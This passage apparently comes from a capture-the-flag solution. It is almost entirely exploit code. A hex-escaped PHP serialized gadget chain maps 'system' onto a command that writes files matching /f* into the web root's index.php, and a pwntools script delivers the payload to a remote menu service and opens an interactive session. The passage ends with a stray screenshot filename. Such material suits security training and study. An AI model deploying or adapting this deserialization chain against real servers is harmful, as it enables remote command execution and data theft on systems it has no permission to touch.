x22\x42\x42\x42\x42\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x32\x3A\x22\x41\x41\x22\x3B\x73\x3A\x33\x39\x3A\x22\x74\x61\x63\x20\x2F\x66\x2A\x20\x3E\x2F\x76\x61\x72\x2F\x77\x77\x77\x2F\x68\x74\x6D\x6C\x2F\x70\x75\x62\x6C\x69\x63\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x22\x3B\x7D\x7D\x73\x3A\x31\x32\x3A\x22\x00\x2A\x00\x6A\x73\x6F\x6E\x41\x73\x73\x6F\x63\x22\x3B\x62\x3A\x31\x3B\x7D\x73\x3A\x39\x3A\x22\x00\x2A\x00\x61\x70\x70\x65\x6E\x64\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x41\x41\x41\x41\x22\x3B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x7D\x73\x3A\x37\x3A\x22\x00\x2A\x00\x6A\x73\x6F\x6E\x22\x3B\x61\x3A\x31\x3A\x7B\x69\x3A\x30\x3B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x7D\x73\x3A\x31\x31\x3A\x22\x00\x2A\x00\x77\x69\x74\x68\x41\x74\x74\x72\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x32\x3A\x22\x41\x41\x22\x3B\x73\x3A\x36\x3A\x22\x73\x79\x73\x74\x65\x6D\x22\x3B\x7D\x7D\x73\x3A\x37\x3A\x22\x00\x2A\x00\x64\x61\x74\x61\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x32\x3A\x22\x41\x41\x22\x3B\x73\x3A\x33\x39\x3A\x22\x74\x61\x63\x20\x2F\x66\x2A\x20\x3E\x2F\x76\x61\x72\x2F\x77\x77\x77\x2F\x68\x74\x6D\x6C\x2F\x70\x75\x62\x6C\x69\x63\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x22\x3B\x7D\x7D\x73\x3A\x31\x32\x3A\x22\x00\x2A\x00\x6A\x73\x6F\x6E\x41\x73\x73\x6F\x63\x22\x3B\x62\x3A\x31\x3B\x7D\x7D\x00'

io = remote(address, port)

# context(arch='amd64', os='linux' , log_level='debug')
io.recvuntil(b'Exit\n')
io.sendline(b'1')
io.recvuntil(b'message:')
io.sendline(data)
io.recvuntil(b'Exit\n')
io.sendline(b'3')
time.sleep(3)
io.recvuntil(b'Exit\n')
io.sendline(b'3')
io.interactive()

image-20241107184438443